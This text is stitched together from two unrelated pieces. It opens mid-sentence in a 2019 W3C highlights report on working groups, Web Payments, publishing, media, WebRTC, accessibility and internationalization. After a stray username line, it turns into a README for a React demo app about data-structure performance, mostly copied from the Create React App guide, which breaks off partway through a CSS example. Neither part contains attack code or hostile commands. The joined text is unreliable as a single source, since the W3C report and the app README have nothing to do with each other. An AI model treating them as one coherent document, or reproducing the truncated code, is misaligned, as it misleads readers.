of the existing landscape of the Web platform and innovation for the growth and strength of the Web. 33 working groups and a dozen interest groups enable W3C to pursue its mission through the creation of Web standards, guidelines, and supporting materials. We track the tremendous work done across the Consortium through homogeneous work-spaces in Github which enables better monitoring and management. We are in the middle of a period where we are chartering numerous working groups which demonstrate the rapid degree of change for the Web platform: After 4 years, we are nearly ready to publish a Payment Request API Proposed Recommendation and we need to soon charter follow-on work. In the last year we chartered the Web Payment Security Interest Group. In the last year we chartered the Web Media Working Group with 7 specifications for next generation Media support on the Web. We have Accessibility Guidelines under W3C Member review which includes Silver, a new approach. We have just launched the Decentralized Identifier Working Group which has tremendous potential because Decentralized Identifier (DID) is an identifier that is globally unique, resolveable with high availability, and cryptographically verifiable. We have Privacy IG (PING) under W3C Member review which strengthens our focus on the tradeoff between privacy and function. We have a new CSS charter under W3C Member review which maps the group's work for the next three years. In this period, W3C and the WHATWG have succesfully completed the negotiation of a Memorandum of Understanding rooted in the mutual belief that that having two distinct specifications claiming to be normative is generally harmful for the Web community. The MOU, signed last May, describes how the two organizations are to collaborate on the development of a single authoritative version of the HTML and DOM specifications. W3C subsequently rechartered the HTML Working Group to assist the W3C community in raising issues and proposing solutions for the HTML and DOM specifications, and for the production of W3C Recommendations from WHATWG Review Drafts. As the Web evolves continuously, some groups are looking for ways for specifications to do so as well. So-called "evergreen recommendations" or "living standards" aim to track continuous development (and maintenance) of features, on a feature-by-feature basis, while getting review and patent commitments. We see the maturation and further development of an incredible number of new technologies coming to the Web. Continued progress in many areas demonstrates the vitality of the W3C and the Web community, as the rest of the report illustrates. Future Web Standards W3C has a variety of mechanisms for listening to what the community thinks could become good future Web standards. These include discussions with the Membership, discussions with other standards bodies, the activities of thousands of participants in over 300 community groups, and W3C Workshops. There are lots of good ideas. The W3C strategy team has been identifying promising topics and invites public participation. Future, recent and under consideration Workshops include: Inclusive XR (5-6 November 2019, Seattle, WA, USA) to explore existing and future approaches on making Virtual and Augmented Reality experiences more inclusive, including to people with disabilities; W3C Workshop on Data Models for Transportation (12-13 September 2019, Palo Alto, CA, USA) W3C Workshop on Web Games (27-28 June 2019, Redmond, WA, USA), view report Second W3C Workshop on the Web of Things (3-5 June 2019, Munich, Germany) W3C Workshop on Web Standardization for Graph Data; Creating Bridges: RDF, Property Graph and SQL (4-6 March 2019, Berlin, Germany), view report Web & Machine Learning. The Strategy Funnel documents the staff's exploration of potential new work at various phases: Exploration and Investigation, Incubation and Evaluation, and eventually to the chartering of a new standards group. The Funnel view is a GitHub Project where new area are issues represented by “cards” which move through the columns, usually from left to right. Most cards start in Exploration and move towards Chartering, or move out of the funnel. Public input is welcome at any stage but particularly once Incubation has begun. This helps W3C identify work that is sufficiently incubated to warrant standardization, to review the ecosystem around the work and indicate interest in participating in its standardization, and then to draft a charter that reflects an appropriate scope. Ongoing feedback can speed up the overall standardization process. Since the previous highlights document, W3C has chartered a number of groups, and started discussion on many more: Newly Chartered or Rechartered Web Application Security WG (03-Apr) Web Payment Security IG (17-Apr) Patent and Standards IG (24-Apr) Web Applications WG (14-May) Web & Networks IG (16-May) Media WG (23-May) Media and Entertainment IG (06-Jun) HTML WG (06-Jun) Decentralized Identifier WG (05-Sep) Extended Privacy IG (PING) (30-Sep) Verifiable Claims WG (30-Sep) Service Workers WG (31-Dec) Dataset Exchange WG (31-Dec) Web of Things Working Group (31-Dec) Web Audio Working Group (31-Dec) Proposed charters / Advance Notice Accessibility Guidelines WG Privacy IG (PING) RDF Literal Direction WG Timed Text WG CSS WG Web Authentication WG Closed Internationalization Tag Set IG Meeting Industry Needs Web Payments All Web Payments specifications W3C's payments standards enable a streamlined checkout experience, enabling a consistent user experience across the Web with lower front end development costs for merchants. Users can store and reuse information and more quickly and accurately complete online transactions. The Web Payments Working Group has republished Payment Request API as a Candidate Recommendation, aiming to publish a Proposed Recommendation in the Fall 2019, and is discussing use cases and features for Payment Request after publication of the 1.0 Recommendation. Browser vendors have been finalizing implementation of features added in the past year (view the implementation report). As work continues on the Payment Handler API and its implementation (currently in Chrome and Edge Canary), one focus in 2019 is to increase adoption in other browsers. Recently, Mastercard demonstrated the use of Payment Request API to carry out EMVCo's Secure Remote Commerce (SRC) protocol whose payment method definition is being developed with active participation by Visa, Mastercard, American Express, and Discover. Payment method availability is a key factor in merchant considerations about adopting Payment Request API. The ability to get uniform adoption of a new payment method such as Secure Remote Commerce (SRC) also depends on the availability of the Payment Handler API in browsers, or of proprietary alternatives. Web Monetization, which the Web Payments Working Group will discuss again at its face-to-face meeting in September, can be used to enable micropayments as an alternative revenue stream to advertising. Since the beginning of 2019, Amazon, Brave Software, JCB, Certus Cybersecurity Solutions and Netflix have joined the Web Payments Working Group. In April, W3C launched the Web Payment Security Group to enable W3C, EMVCo, and the FIDO Alliance to collaborate on a vision for Web payment security and interoperability. Participants will define areas of collaboration and identify gaps between existing technical specifications in order to increase compatibility among different technologies, such as: How do SRC, FIDO, and Payment Request relate? The Payment Services Directive 2 (PSD2) regulations in Europe are scheduled to take effect in September 2019. What is the role of EMVCo, W3C, and FIDO technologies, and what is the current state of readiness for the deadline? How can we improve privacy on the Web at the same time as we meet industry requirements regarding user identity? Digital Publishing All Digital Publishing specifications, Publication milestones The Web is the universal publishing platform. Publishing is increasingly impacted by the Web, and the Web increasingly impacts Publishing. Topic of particular interest to Publishing@W3C include typography and layout, accessibility, usability, portability, distribution, archiving, offline access, print on demand, and reliable cross referencing. And the diverse publishing community represented in the groups consist of the traditional "trade" publishers, ebook reading system manufacturers, but also publishers of audio book, scholarly journals or educational materials, library scientists or browser developers. The Publishing Working Group currently concentrates on Audiobooks which lack a comprehensive standard, thus incurring extra costs and time to publish in this booming market. Active development is ongoing on the future standard: Publication Manifest Audiobook profile for Web Publications Lightweight Packaging Format The BD Comics Manga Community Group, the Synchronized Multimedia for Publications Community Group, the Publishing Community Group and a future group on archival, are companions to the working group where specific work is developed and incubated. The Publishing Community Group is a recently launched incubation channel for Publishing@W3C. The goal of the group is to propose, document, and prototype features broadly related to: publications on the Web reading modes and systems and the user experience of publications The EPUB 3 Community Group has successfully completed the revision of EPUB 3.2. The Publishing Business Group fosters ongoing participation by members of the publishing industry and the overall ecosystem in the development of Web infrastructure to better support the needs of the industry. The Business Group serves as an additional conduit to the Publishing Working Group and several Community Groups for feedback between the publishing ecosystem and W3C. The Publishing BG has played a vital role in fostering and advancing the adoption and continued development of EPUB 3. In particular the BG provided critical support to the update of EPUBCheck to validate EPUB content to the new EPUB 3.2 specification. This resulted in the development, in conjunction with the EPUB3 Community Group, of a new generation of EPUBCheck, i.e., EPUBCheck 4.2 production-ready release. Media and Entertainment All Media specifications The Media and Entertainment vertical tracks media-related topics and features that create immersive experiences for end users. HTML5 brought standard audio and video elements to the Web. Standardization activities since then have aimed at turning the Web into a professional platform fully suitable for the delivery of media content and associated materials, enabling missing features to stream video content on the Web such as adaptive streaming and content protection. Together with Microsoft, Comcast, Netflix and Google, W3C received an Technology & Engineering Emmy Award in April 2019 for standardization of a full TV experience on the Web. Current goals are to: Reinforce core media technologies: Creation of the Media Working Group, to develop media-related specifications incubated in the WICG (e.g. Media Capabilities, Picture-in-picture, Media Session) and maintain maintain/evolve Media Source Extensions (MSE) and Encrypted Media Extensions (EME). Improve support for Media Timed Events: data cues incubation. Enhance color support (HDR, wide gamut), in scope of the CSS WG and in the Color on the Web CG. Reduce fragmentation: Continue annual releases of a common and testable baseline media devices, in scope of the Web Media APIs CG and in collaboration with the CTA WAVE Project. Maintain the Road-map of Media Technologies for the Web which highlights Web technologies that can be used to build media applications and services, as well as known gaps to enable additional use cases. Create the future: Discuss perspectives for Media and Entertainment for the Web. Bring the power of GPUs to the Web (graphics, machine learning, heavy processing), under incubation in the GPU for the Web CG. Transition to a Working Group is under discussion. Determine next steps after the successful W3C Workshop on Web Games of June 2019. View the report. Timed Text The Timed Text Working Group develops and maintains formats used for the representation of text synchronized with other timed media, like audio and video, and notably works on TTML, profiles of TTML, and WebVTT. Recent progress includes: A robust WebVTT implementation report poises the specification for publication as a proposed recommendation. Discussions around re-chartering, notably to add a TTML Profile for Audio Description deliverable to the scope of the group, and clarify that rendering of captions within XR content is also in scope. Immersive Web Hardware that enables Virtual Reality (VR) and Augmented Reality (AR) applications are now broadly available to consumers, offering an immersive computing platform with both new opportunities and challenges. The ability to interact directly with immersive hardware is critical to ensuring that the web is well equipped to operate as a first-class citizen in this environment. The Immersive Web Working Group has been stabilizing the WebXR Device API while the companion Immersive Web Community Group incubates the next series of features identified as key for the future of the Immersive Web. W3C plans a workshop focused on the needs and benefits at the intersection of VR & Accessibility (Inclusive XR), on 5-6 November 2019 in Seattle, WA, USA, to explore existing and future approaches on making Virtual and Augmented Reality experiences more inclusive. Web & Telecommunications The Web is the Open Platform for Mobile. Telecommunication service providers and network equipment providers have long been critical actors in the deployment of Web technologies. As the Web platform matures, it brings richer and richer capabilities to extend existing services to new users and devices, and propose new and innovative services. Real-Time Communications (WebRTC) All Real-Time Communications specifications WebRTC has reshaped the whole communication landscape by making any connected device a potential communication end-point, bringing audio and video communications anywhere, on any network, vastly expanding the ability of operators to reach their customers. WebRTC serves as the corner-stone of many online communication and collaboration services. The WebRTC Working Group aims to bringing WebRTC 1.0 (and companion specification Media Capture and Streams) to Recommendation by the end of 2019. Intense efforts are focused on testing (supported by a dedicated hackathon at IETF 104) and interoperability. The group is considering pushing features that have not gotten enough traction to separate modules or to a later minor revision of the spec. Beyond WebRTC 1.0, the WebRTC Working Group will focus its efforts on WebRTC NV which the group has started documenting by identifying use cases. Web & Networks Recently launched, in the wake of the May 2018 Web5G workshop, the Web & Networks Interest Group is chaired by representatives from AT&T, China Mobile and Intel, with a goal to explore solutions for web applications to achieve better performance and resource allocation, both on the device and network. The group's first efforts are around use cases, privacy & security requirements and liaisons. Automotive All Automotive specifications To create a rich application ecosystem for vehicles and other devices allowed to connect to the vehicle, the W3C Automotive Working Group is delivering a service specification to expose all common vehicle signals (engine temperature, fuel/charge level, range, tire pressure, speed, etc.) The Vehicle Information Service Specification (VISS), which is a Candidate Recommendation, is seeing more implementations across the industry. It provides the access method to a common data model for all the vehicle signals –presently encapsulating a thousand or so different data elements– and will be growing to accommodate the advances in automotive such as autonomous and driver assist technologies and electrification. The group is already working on a successor to VISS, leveraging the underlying data model and the VIWI submission from Volkswagen, for a more robust means of accessing vehicle signals information and the same paradigm for other automotive needs including location-based services, media, notifications and caching content. The Automotive and Web Platform Business Group acts as an incubator for prospective standards work. One of its task forces is using W3C VISS in performing data sampling and off-boarding the information to the cloud. Access to the wealth of information that W3C's auto signals standard exposes is of interest to regulators, urban planners, insurance companies, auto manufacturers, fleet managers and owners, service providers and others. In addition to components needed for data sampling and edge computing, capturing user and owner consent, information collection methods and handling of data are in scope. The upcoming W3C Workshop on Data Models for Transportation (September 2019) is expected to focus on the need of additional ontologies around transportation space. Web of Things All Web of Things specifications W3C's Web of Things work is designed to bridge disparate technology stacks to allow devices to work together and achieve scale, thus enabling the potential of the Internet of Things by eliminating fragmentation and fostering interoperability. Thing descriptions expressed in JSON-LD cover the behavior, interaction affordances, data schema, security configuration, and protocol bindings. The Web of Things complements existing IoT ecosystems to reduce the cost and risk for suppliers and consumers of applications that create value by combining multiple devices and information services. There are many sectors that will benefit, e.g. smart homes, smart cities, smart industry, smart agriculture, smart healthcare and many more. The Web of Things Working Group is finishing the initial Web of Things standards, with support from the Web of Things Interest Group: Web of Things Architecture Thing Descriptions Strengthening the Core of the Web HTML The HTML Working Group was chartered early June to assist the W3C community in raising issues and proposing solutions for the HTML and DOM specifications, and to produce W3C Recommendations from WHATWG Review Drafts. A few days before, W3C and the WHATWG signed a Memorandum of Understanding outlining the agreement to collaborate on the development of a single version of the HTML and DOM specifications. Issues and proposed solutions for HTML and DOM done via the newly rechartered HTML Working Group in the WHATWG repositories The HTML Working Group is targetting November 2019 to bring HTML and DOM to Candidate Recommendations. CSS All CSS specifications CSS is a critical part of the Open Web Platform. The CSS Working Group gathers requirements from two large groups of CSS users: the publishing industry and application developers. Within W3C, those groups are exemplified by the Publishing groups and the Web Platform Working Group. The former requires things like better pagination support and advanced font handling, the latter needs intelligent (and fast!) scrolling and animations. What we know as CSS is actually a collection of almost a hundred specifications, referred to as ‘modules’. The current state of CSS is defined by a snapshot, updated once a year. The group also publishes an index defining every term defined by CSS specifications. Fonts All Fonts specifications The Web Fonts Working Group develops specifications that allow the interoperable deployment of downloadable fonts on the Web, with a focus on Progressive Font Enrichment as well as maintenance of WOFF Recommendations. Recent and ongoing work includes: Early API experiments by Adobe and Monotype have demonstrated the feasibility of a font enrichment API, where a server delivers a font with minimal glyph repertoire and the client can query the full repertoire and request additional subsets on-the-fly. In other experiments, the Brotli compression used in WOFF 2 was extended to support shared dictionaries and patch update. Metrics to quantify improvement are a current hot discussion topic. The group will meet at ATypi 2019 in Japan, to gather requirements from the international typography community. The group will first produce a report summarizing the strengths and weaknesses of each prototype solution by Q2 2020. SVG All SVG specifications SVG is an important and widely-used part of the Open Web Platform. The SVG Working Group focuses on aligning the SVG 2.0 specification with browser implementations, having split the specification into a currently-implemented 2.0 and a forward-looking 2.1. Current activity is on stabilization, increased integration with the Open Web Platform, and test coverage analysis. The Working Group was rechartered in March 2019. A new work item concerns native (non-Web-browser) uses of SVG as a non-interactive, vector graphics format. Audio The Web Audio Working Group was extended to finish its work on the Web Audio API, expecting to publish it as a Recommendation by year end. The specification enables synthesizing audio in the browser. Audio operations are performed with audio nodes, which are linked together to form a modular audio routing graph. Multiple sources — with different types of channel layout — are supported. This modular design provides the flexibility to create complex audio functions with dynamic effects. The first version of Web Audio API is now feature complete and is implemented in all modern browsers. Work has started on the next version, and new features are being incubated in the Audio Community Group. Performance Web Performance All Web Performance specifications There are currently 18 specifications in development in the Web Performance Working Group aiming to provide methods to observe and improve aspects of application performance of user agent features and APIs. The W3C team is looking at related work incubated in the W3C GPU for the Web (WebGPU) Community Group which is poised to transition to a W3C Working Group. A preliminary draft charter is available. WebAssembly All WebAssembly specifications WebAssembly improves Web performance and power by being a virtual machine and execution environment enabling loaded pages to run native (compiled) code. It is deployed in Firefox, Edge, Safari and Chrome. The specification will soon reach Candidate Recommendation. WebAssembly enables near-native performance, optimized load time, and perhaps most importantly, a compilation target for existing code bases. While it has a small number of native types, much of the performance increase relative to Javascript derives from its use of consistent typing. WebAssembly leverages decades of optimization for compiled languages and the byte code is optimized for compactness and streaming (the web page starts executing while the rest of the code downloads). Network and API access all occurs through accompanying Javascript libraries -- the security model is identical to that of Javascript. Requirements gathering and language development occur in the Community Group while the Working Group manages test development, community review and progression of specifications on the Recommendation Track. Testing Browser testing plays a critical role in the growth of the Web by: Improving the reliability of Web technology definitions; Improving the quality of implementations of these technologies by helping vendors to detect bugs in their products; Improving the data available to Web developers on known bugs and deficiencies of Web technologies by publishing results of these tests. Browser Testing and Tools The Browser Testing and Tools Working Group is developing WebDriver version 2, having published last year the W3C Recommendation of WebDriver. WebDriver acts as a remote control interface that enables introspection and control of user agents, provides a platform- and language-neutral wire protocol as a way for out-of-process programs to remotely instruct the behavior of Web, and emulates the actions of a real person using the browser. WebPlatform Tests The WebPlatform Tests project now provides a mechanism which allows to fully automate tests that previously needed to be run manually: TestDriver. TestDriver enables sending trusted key and mouse events, sending complex series of trusted pointer and key interactions for things like in-content drag-and-drop or pinch zoom, and even file upload. Since 2014 W3C began work on this coordinated open-source effort to build a cross-browser test suite for the Web Platform, which WHATWG, and all major browsers adopted. Web of Data All Data specifications There have been several great success stories around the standardization of data on the web over the past year. Verifiable Claims seems to have significant uptake. It is also significant that the Distributed Identifier WG charter has received numerous favorable reviews, and was just recently launched. JSON-LD has been a major success with the large deployment on Web sites via schema.org. JSON-LD 1.1 completed technical work, about to transition to CR More than 25% of websites today include schema.org data in JSON-LD The Web of Things description is in CR since May, making use of JSON-LD Verifiable Credentials data model is in CR since July, also making use of JSON-LD Continued strong interest in decentralized identifiers Engagement from the TAG with reframing core documents, such as Ethical Web Principles, to include data on the web within their scope Data is increasingly important for all organizations, especially with the rise of IoT and Big Data. W3C has a mature and extensive suite of standards relating to data that were developed over two decades of experience, with plans for further work on making it easier for developers to work with graph data and knowledge graphs. Linked Data is about the use of URIs as names for things, the ability to dereference these URIs to get further information and to include links to other data. There are ever-increasing sources of open Linked Data on the Web, as well as data services that are restricted to the suppliers and consumers of those services. The digital transformation of industry is seeking to exploit advanced digital technologies. This will facilitate businesses to integrate horizontally along the supply and value chains, and vertically from the factory floor to the office floor. W3C is seeking to make it easier to support enterprise-wide data management and governance, reflecting the strategic importance of data to modern businesses. Traditional approaches to data have focused on tabular databases (SQL/RDBMS), Comma Separated Value (CSV) files, and data embedded in PDF documents and spreadsheets. We're now in midst of a major shift to graph data with nodes and labeled directed links between them. Graph data is: Faster than using SQL and associated JOIN operations More favorable to integrating data from heterogeneous sources Better suited to situations where the data model is evolving In the wake of the recent W3C Workshop on Graph Data we are in the process of launching a Graph Standardization Business Group to provide a business perspective with use cases and requirements, to coordinate technical standards work and liaisons with external organizations. Web for All Security, Privacy, Identity All Security specifications, all Privacy specifications Authentication on the Web As the WebAuthn Level 1 W3C Recommendation published last March is seeing wide implementation and adoption of strong cryptographic authentication, work is proceeding on Level 2. The open standard Web API gives native authentication technology built into native platforms, browsers, operating systems (including mobile) and hardware, offering protection against hacking, credential theft, phishing attacks, thus aiming to end the era of passwords as a security construct. You may read more in our March press release. Privacy An increasing number of W3C specifications are benefitting from Privacy and Security review; there are security and privacy aspects to every specification. Early review is essential. Working with the TAG, the Privacy Interest Group has updated the Self-Review Questionnaire: Security and Privacy. Other recent work of the group includes public blogging further to the exploration of anti-patterns in standards and permission prompts. Security The Web Application Security Working Group adopted Feature Policy, aiming to allow developers to selectively enable, disable, or modify the behavior of some of these browser features and APIs within their application; and Fetch Metadata, aiming to provide servers with enough information to make a priori decisions about whether or not to service a request based on the way it was made, and the context in which it will be used. The Web Payment Security Interest Group, launched last April, convenes members from W3C, EMVCo, and the FIDO Alliance to discuss cooperative work to enhance the security and interoperability of Web payments (read more about payments). Internationalization (i18n) All Internationalization specifications, educational articles related to Internationalization, spec developers checklist Only a quarter or so current Web users use English online and that proportion will continue to decrease as the Web reaches more and more communities of limited English proficiency. If the Web is to live up to the "World Wide" portion of its name, and for the Web to truly work for stakeholders all around the world engaging with content in various languages, it must support the needs of worldwide users as they engage with content in the various languages. The growth of epublishing also brings requirements for new features and improved typography on the Web. It is important to ensure the needs of local communities are captured. The W3C Internationalization Initiative was set up to increase in-house resources dedicated to accelerating progress in making the World Wide Web "worldwide" by gathering user requirements, supporting developers, and education & outreach. For an overview of current projects see the i18n radar. W3C's Internationalization efforts progressed on a number of fronts recently: Requirements: New African and European language groups will work on the gap analysis, errata and layout requirements. Gap analysis: Japanese, Devanagari, Bengali, Tamil, Lao, Khmer, Javanese, and Ethiopic updated in the gap-analysis documents. Layout requirements document: notable progress tracked in the Southeast Asian Task Force while work continues on Chinese layout requirements. Developer support: Spec reviews: the i18n WG continues active review of specifications of the WHATWG and other W3C Working Groups. Short review checklist: easy way to begin a self-review to help spec developers understand what aspects of their spec are likely to need attention for internationalization, and points them to more detailed checklists for the relevant topics. It also helps those reviewing specs for i18n issues. Strings on the Web: Language and Direction Metadata lays out issues and discusses potential solutions for passing information about language and direction with strings in JSON or other data formats. The document was rewritten for clarity, and expanded. The group is collaborating with the JSON-LD and Web Publishing groups to develop a plan for updating RDF, JSON-LD and related specifications to handle metadata for base direction of text (bidi). User-friendly test format: a new format was developed for Internationalization Test Suite tests, which displays helpful information about how the test works. This particularly useful because those tests are pointed to by educational materials and gap-analysis documents. Web Platform Tests: a large number of tests in the i18n test suite have been ported to the WPT repository, including: css-counter-styles, css-ruby, css-syntax, css-test, css-text-decor, css-writing-modes, and css-pseudo. Education & outreach: (for all educational materials, see the HTML & CSS Authoring Techniques) Web Accessibility All Accessibility specifications, WAI resources The Web Accessibility Initiative supports W3C's Web for All mission. Recent achievements include: Education and training: Inaccessibility of CAPTCHA updated to bring our analysis and recommendations up to date with CAPTCHA practice today, concluding two years of extensive work and invaluable input from the public (read more on the W3C Blog Learn why your web content and applications should be accessible. The Education and Outreach Working Group has completed revision and updating of the Business Case for Digital Accessibility. Accessibility guidelines: The Accessibility Guidelines Working Group has continued to update WCAG Techniques and Understanding WCAG 2.1; and published a Candidate Recommendation of Accessibility Conformance Testing Rules Format 1.0 to improve inter-rater reliability when evaluating conformance of web content to WCAG An updated charter is being developed to host work on "Silver", the next generation accessibility guidelines (WCAG 2.2) There are accessibility aspects to most specifications. Check your work with the FAST checklist. Outreach to the world W3C Developer Relations To foster the excellent feedback loop between Web Standards development and Web developers, and to grow participation from that diverse community, recent W3C Developer Relations activities include: @w3cdevs tracks the enormous amount of work happening across W3C W3C Track during the Web Conference 2019 in San Francisco Tech videos: W3C published the 2019 Web Games Workshop videos The 16 September 2019 Developer Meetup in Fukuoka, Japan, is open to all and will combine a set of technical demos prepared by W3C groups, and a series of talks on a selected set of W3C technologies and projects W3C is involved with Mozilla, Google, Samsung, Microsoft and Bocoup in the organization of ViewSource 2019 in Amsterdam (read more on the W3C Blog) W3C Training In partnership with EdX, W3C's MOOC training program, W3Cx offers a complete "Front-End Web Developer" (FEWD) professional certificate program that consists of a suite of five courses on the foundational languages that power the Web: HTML5, CSS and JavaScript. We count nearly 900K students from all over the world. Translations Many Web users rely on translations of documents developed at W3C whose official language is English. W3C is extremely grateful to the continuous efforts of its community in ensuring our various deliverables in general, and in our specifications in particular, are made available in other languages, for free, ensuring their exposure to a much more diverse set of readers. Last Spring we developed a more robust system, a new listing of translations of W3C specifications and updated the instructions on how to contribute to our translation efforts. W3C Liaisons Liaisons and coordination with numerous organizations and Standards Development Organizations (SDOs) is crucial for W3C to: make sure standards are interoperable coordinate our respective agenda in Internet governance: W3C participates in ICANN, GIPO, IGF, the I* organizations (ICANN, IETF, ISOC, IAB). ensure at the government liaison level that our standards work is officially recognized when important to our membership so that products based on them (often done by our members) are part of procurement orders. W3C has ARO/PAS status with ISO. W3C participates in the EU MSP and Rolling Plan on Standardization ensure the global set of Web and Internet standards form a compatible stack of technologies, at the technical and policy level (patent regime, fragmentation, use in policy making) promote Standards adoption equally by the industry, the public sector, and the public at large Coralie Mercier, Editor, W3C Marketing & Communications $Id: Overview.html,v 1.60 2019/10/15 12:05:52 coralie Exp $ Copyright © 2019 W3C ® (MIT, ERCIM, Keio, Beihang) Usage policies apply.
rramatchandran
# big-o-performance A simple html app to demonstrate performance costs of data structures. - Clone the project - Navigate to the root of the project in a termina or command prompt - Run 'npm install' - Run 'npm start' - Go to the URL specified in the terminal or command prompt to try out the app. # This app was created from the Create React App NPM. Below are instructions from that project. Below you will find some information on how to perform common tasks. You can find the most recent version of this guide [here](https://github.com/facebookincubator/create-react-app/blob/master/template/README.md). ## Table of Contents - [Updating to New Releases](#updating-to-new-releases) - [Sending Feedback](#sending-feedback) - [Folder Structure](#folder-structure) - [Available Scripts](#available-scripts) - [npm start](#npm-start) - [npm run build](#npm-run-build) - [npm run eject](#npm-run-eject) - [Displaying Lint Output in the Editor](#displaying-lint-output-in-the-editor) - [Installing a Dependency](#installing-a-dependency) - [Importing a Component](#importing-a-component) - [Adding a Stylesheet](#adding-a-stylesheet) - [Post-Processing CSS](#post-processing-css) - [Adding Images and Fonts](#adding-images-and-fonts) - [Adding Bootstrap](#adding-bootstrap) - [Adding Flow](#adding-flow) - [Adding Custom Environment Variables](#adding-custom-environment-variables) - [Integrating with a Node Backend](#integrating-with-a-node-backend) - [Proxying API Requests in Development](#proxying-api-requests-in-development) - [Deployment](#deployment) - [Now](#now) - [Heroku](#heroku) - [Surge](#surge) - [GitHub Pages](#github-pages) - [Something Missing?](#something-missing) ## Updating to New Releases Create React App is divided into two packages: * `create-react-app` is a global command-line utility that you use to create new projects. * `react-scripts` is a development dependency in the generated projects (including this one). You almost never need to update `create-react-app` itself: it’s delegates all the setup to `react-scripts`. When you run `create-react-app`, it always creates the project with the latest version of `react-scripts` so you’ll get all the new features and improvements in newly created apps automatically. To update an existing project to a new version of `react-scripts`, [open the changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md), find the version you’re currently on (check `package.json` in this folder if you’re not sure), and apply the migration instructions for the newer versions. In most cases bumping the `react-scripts` version in `package.json` and running `npm install` in this folder should be enough, but it’s good to consult the [changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md) for potential breaking changes. We commit to keeping the breaking changes minimal so you can upgrade `react-scripts` painlessly. ## Sending Feedback We are always open to [your feedback](https://github.com/facebookincubator/create-react-app/issues). ## Folder Structure After creation, your project should look like this: ``` my-app/ README.md index.html favicon.ico node_modules/ package.json src/ App.css App.js index.css index.js logo.svg ``` For the project to build, **these files must exist with exact filenames**: * `index.html` is the page template; * `favicon.ico` is the icon you see in the browser tab; * `src/index.js` is the JavaScript entry point. You can delete or rename the other files. You may create subdirectories inside `src`. For faster rebuilds, only files inside `src` are processed by Webpack. You need to **put any JS and CSS files inside `src`**, or Webpack won’t see them. You can, however, create more top-level directories. They will not be included in the production build so you can use them for things like documentation. ## Available Scripts In the project directory, you can run: ### `npm start` Runs the app in the development mode.<br> Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.<br> You will also see any lint errors in the console. ### `npm run build` Builds the app for production to the `build` folder.<br> It correctly bundles React in production mode and optimizes the build for the best performance. The build is minified and the filenames include the hashes.<br> Your app is ready to be deployed! ### `npm run eject` **Note: this is a one-way operation. Once you `eject`, you can’t go back!** If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project. Instead, it will copy all the configuration files and the transitive dependencies (Webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own. You don’t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it. ## Displaying Lint Output in the Editor >Note: this feature is available with `react-scripts@0.2.0` and higher. Some editors, including Sublime Text, Atom, and Visual Studio Code, provide plugins for ESLint. They are not required for linting. You should see the linter output right in your terminal as well as the browser console. However, if you prefer the lint results to appear right in your editor, there are some extra steps you can do. You would need to install an ESLint plugin for your editor first. >**A note for Atom `linter-eslint` users** >If you are using the Atom `linter-eslint` plugin, make sure that **Use global ESLint installation** option is checked: ><img src="http://i.imgur.com/yVNNHJM.png" width="300"> Then make sure `package.json` of your project ends with this block: ```js { // ... "eslintConfig": { "extends": "./node_modules/react-scripts/config/eslint.js" } } ``` Projects generated with `react-scripts@0.2.0` and higher should already have it. If you don’t need ESLint integration with your editor, you can safely delete those three lines from your `package.json`. Finally, you will need to install some packages *globally*: ```sh npm install -g eslint babel-eslint eslint-plugin-react eslint-plugin-import eslint-plugin-jsx-a11y eslint-plugin-flowtype ``` We recognize that this is suboptimal, but it is currently required due to the way we hide the ESLint dependency. The ESLint team is already [working on a solution to this](https://github.com/eslint/eslint/issues/3458) so this may become unnecessary in a couple of months. ## Installing a Dependency The generated project includes React and ReactDOM as dependencies. It also includes a set of scripts used by Create React App as a development dependency. You may install other dependencies (for example, React Router) with `npm`: ``` npm install --save <library-name> ``` ## Importing a Component This project setup supports ES6 modules thanks to Babel. While you can still use `require()` and `module.exports`, we encourage you to use [`import` and `export`](http://exploringjs.com/es6/ch_modules.html) instead. For example: ### `Button.js` ```js import React, { Component } from 'react'; class Button extends Component { render() { // ... } } export default Button; // Don’t forget to use export default! ``` ### `DangerButton.js` ```js import React, { Component } from 'react'; import Button from './Button'; // Import a component from another file class DangerButton extends Component { render() { return <Button color="red" />; } } export default DangerButton; ``` Be aware of the [difference between default and named exports](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281). It is a common source of mistakes. We suggest that you stick to using default imports and exports when a module only exports a single thing (for example, a component). That’s what you get when you use `export default Button` and `import Button from './Button'`. Named exports are useful for utility modules that export several functions. A module may have at most one default export and as many named exports as you like. Learn more about ES6 modules: * [When to use the curly braces?](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281) * [Exploring ES6: Modules](http://exploringjs.com/es6/ch_modules.html) * [Understanding ES6: Modules](https://leanpub.com/understandinges6/read#leanpub-auto-encapsulating-code-with-modules) ## Adding a Stylesheet This project setup uses [Webpack](https://webpack.github.io/) for handling all assets. Webpack offers a custom way of “extending” the concept of `import` beyond JavaScript. To express that a JavaScript file depends on a CSS file, you need to **import the CSS from the JavaScript file**: ### `Button.css` ```css .Button { padding: 20px; } ``` ### `Button.js` ```js import React, { Component } from 'react'; import './Button.css'; // Tell Webpack that Button.js uses these styles class Button extends Component { render() { // You can use them as regular CSS styles return <div className="Button" />; } } ``` **This is not required for React** but many people find this feature convenient. You can read about the benefits of this approach [here](https://medium.com/seek-ui-engineering/block-element-modifying-your-javascript-components-d7f99fcab52b). However you should be aware that this makes your code less portable to other build tools and environments than Webpack. In development, expressing dependencies this way allows your styles to be reloaded on the fly as you edit them. In production, all CSS files will be concatenated into a single minified `.css` file in the build output. If you are concerned about using Webpack-specific semantics, you can put all your CSS right into `src/index.css`. It would still be imported from `src/index.js`, but you could always remove that import if you later migrate to a different build tool. ## Post-Processing CSS This project setup minifies your CSS and adds vendor prefixes to it automatically through [Autoprefixer](https://github.com/postcss/autoprefixer) so you don’t need to worry about it. For example, this: ```css .App { display: flex; flex-direction: row; align-items: center; } ``` becomes this: ```css .App { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-align: center; 